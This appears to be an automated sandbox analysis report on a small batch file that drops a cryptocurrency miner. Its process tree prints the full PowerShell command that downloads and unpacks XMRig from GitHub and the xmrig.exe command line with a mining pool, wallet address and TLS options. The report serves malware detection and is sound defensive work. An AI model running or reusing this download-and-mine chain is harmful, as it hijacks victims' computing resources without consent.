Analysis

  • max time kernel
    1792s
  • max time network
    1790s
  • platform
    windows10-1703_x64
  • resource
    win10-20231220-en
  • resource tags

    arch:x64arch:x86image:win10-20231220-enlocale:en-usos:windows10-1703-x64system
  • submitted
    30-12-2023 01:27

General

  • Target

    tesy - Copy (5).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (5).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1388
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2232
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4680
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2968

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    65cdef75384ce7e36080779defcc5ab1

    SHA1

    1a73f3492e6f50f09a4b57693bc34c3ec4da8f08

    SHA256

    6c9018153debf142c14d2323b425c50c83bd402227283040245603285bc068c0

    SHA512

    3ece0f381548cb5894a2e0849248eae5e046ae631676277283e0e6842cb8793858d288da40fc00bb42ce329b0e539845d3369c1bd8e10e8cacca43add7a92a5a

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wy0cmeq0.l2g.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    143KB

    MD5

    64d23f9040d66ac38a9837aba607a20a

    SHA1

    1b71f3004194f28b2bf692f7bbedd44f6bbfc334

    SHA256

    b0331c150d6d7c83cf59ed4ef9327e9c813d4209ef927a26b6694b3279d73644

    SHA512

    342738d92b075c9af35b55908bb62902d64ba14fb87b88da646ce11381c6c1a414c6cb421d406eec5b0a9f378b8613c9fb957b218586c7ed71b4c8c3a22f41eb

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    112KB

    MD5

    997ec7a48a60f0645ac61fb23cf0efa3

    SHA1

    3cfb2bf0ca27b7967e550779940c3daa8a225958

    SHA256

    2e79e264e66843ed9884959d599741ac135b7c9bc720912072ca9227f75a3d09

    SHA512

    7b99d59a474f765e479238ba7767552b1f5ba2e72cc5f16e2e51d8094c9719c060539f29811cb2e99a666da881558ae20844a0fd0e0c0a870d02f8bc9fd9b97e

  • memory/2232-8-0x000001DCE82D0000-0x000001DCE82E0000-memory.dmp

    Filesize

    64KB

  • memory/2232-7-0x000001DCE82D0000-0x000001DCE82E0000-memory.dmp

    Filesize

    64KB

  • memory/2232-5-0x00007FFDC6A70000-0x00007FFDC745C000-memory.dmp

    Filesize

    9.9MB

  • memory/2232-10-0x000001DCE8560000-0x000001DCE85D6000-memory.dmp

    Filesize

    472KB

  • memory/2232-25-0x000001DCE82D0000-0x000001DCE82E0000-memory.dmp

    Filesize

    64KB

  • memory/2232-26-0x00007FFDC6A70000-0x00007FFDC745C000-memory.dmp

    Filesize

    9.9MB

  • memory/2232-31-0x00007FFDC6A70000-0x00007FFDC745C000-memory.dmp

    Filesize

    9.9MB

  • memory/2232-4-0x000001DCE8280000-0x000001DCE82A2000-memory.dmp

    Filesize

    136KB

  • memory/2968-142-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-148-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-185-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-184-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-183-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-182-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-181-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-118-0x00000207B7870000-0x00000207B7890000-memory.dmp

    Filesize

    128KB

  • memory/2968-119-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-121-0x00000207B78B0000-0x00000207B78D0000-memory.dmp

    Filesize

    128KB

  • memory/2968-120-0x00000207B7890000-0x00000207B78B0000-memory.dmp

    Filesize

    128KB

  • memory/2968-122-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-123-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-124-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-125-0x00000207B7890000-0x00000207B78B0000-memory.dmp

    Filesize

    128KB

  • memory/2968-126-0x00000207B78B0000-0x00000207B78D0000-memory.dmp

    Filesize

    128KB

  • memory/2968-127-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-128-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-129-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-130-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-131-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-132-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-133-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-134-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-135-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-136-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-137-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-138-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-139-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-140-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-141-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-117-0x00000207B6080000-0x00000207B60A0000-memory.dmp

    Filesize

    128KB

  • memory/2968-143-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-144-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-145-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-146-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-147-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-180-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-149-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-150-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-151-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-152-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-153-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-154-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-155-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-156-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-157-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-158-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-159-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-160-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-161-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-162-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-163-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-164-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-165-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-166-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-167-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-168-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-169-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-170-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-171-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-172-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-173-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-174-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-175-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-176-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-177-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-178-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/2968-179-0x00007FF6B76E0000-0x00007FF6B81E3000-memory.dmp

    Filesize

    11.0MB

  • memory/4680-40-0x000002E4EEF50000-0x000002E4EEF60000-memory.dmp

    Filesize

    64KB

  • memory/4680-39-0x00007FFDC6A70000-0x00007FFDC745C000-memory.dmp

    Filesize

    9.9MB

  • memory/4680-77-0x000002E4EF390000-0x000002E4EF3A2000-memory.dmp

    Filesize

    72KB

  • memory/4680-90-0x000002E4EF0F0000-0x000002E4EF0FA000-memory.dmp

    Filesize

    40KB

  • memory/4680-63-0x000002E4EEF50000-0x000002E4EEF60000-memory.dmp

    Filesize

    64KB

  • memory/4680-42-0x000002E4EEF50000-0x000002E4EEF60000-memory.dmp

    Filesize

    64KB

  • memory/4680-114-0x00007FFDC6A70000-0x00007FFDC745C000-memory.dmp

    Filesize

    9.9MB